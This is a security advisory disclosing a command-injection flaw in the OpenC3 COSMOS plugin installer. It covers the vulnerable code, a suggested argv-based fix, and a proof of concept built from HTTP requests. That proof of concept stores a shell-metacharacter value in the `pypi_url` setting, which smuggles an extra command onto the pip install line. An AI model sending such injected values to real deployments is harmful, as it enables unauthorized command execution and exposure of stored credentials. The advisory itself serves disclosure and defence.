GHSA-vp3w-52v9-q57f

## Summary An authenticated user can execute arbitrary operating system commands on the `openc3-cosmos-cmd-tlm-api` service. The `pypi_url` setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by `/bin/sh`.

## Details The `pypi_url` value is written through the `set_setting` API method, reachable over the JSON-RPC endpoint `POST /openc3-api/api`. In the open-source edition, `authorize` (`openc3/lib/openc3/utilities/authorization.rb`) verifies only that the session token is valid and returns the anonymous user; the `permission:` argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, `PluginModel.install_phase2` reads the setting and builds the argument string, then runs it through a backtick (`openc3/lib/openc3/models/plugin_model.rb:288`):

```ruby pypi_url = get_setting('pypi_url', scope: scope) # attacker-controlled, no validation pypi_url += '/simple' if pypi_url pip_args = "-i #{pypi_url} -r #{requirements_path}" output = `/openc3/bin/pipinstall #{pip_args}` # Ruby backtick -> /bin/sh -c ```

`get_setting` appends `/simple` to the stored value, and a trailing `#` comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a `requirements.txt` or `pyproject.toml`, which the actor controls because they supply the plugin gem.

The sibling installer `openc3/lib/openc3/models/python_package_model.rb:95` performs the same `pipinstall` invocation using an argv array through `ProcessManager.spawn`, which does not involve a shell and is not injectable. `plugin_model.rb:288` is the single site that uses a backtick.

## PoC Confirmed end-to-end over HTTP against a booted `openc3-cosmos-cmd-tlm-api` (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token: ``` POST /openc3-api/auth/verify {"password":"<password>"} ``` 2. Write the setting (JSON-RPC): ``` POST /openc3-api/api {"jsonrpc":"2.0","method":"set_setting", "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"], "keyword_params":{"scope":"DEFAULT"},"id":1} ``` 3. Upload a plugin gem that contains a `requirements.txt`: ``` POST /openc3-api/plugins (multipart: plugin=@malicious.gem, scope=DEFAULT) ``` 4. Install it: ``` POST /openc3-api/plugins/install/<id> (plugin_hash from step 3, scope=DEFAULT) ```

The injected command executed inside the install process. Contents of the marker file written by the payload: ``` uid=1001(openc3) gid=1001(openc3) groups=1001(openc3) ```

## Impact Arbitrary OS command execution as the `openc3` user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

## Suggested fix Run `pipinstall` through an argv array instead of a shell, matching `python_package_model.rb:95`:

```ruby pip_argv = ["-i", pypi_url] pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil? pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path] OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope) ```

Optionally also validate `pypi_url` as an `http(s)` URL when the setting is written.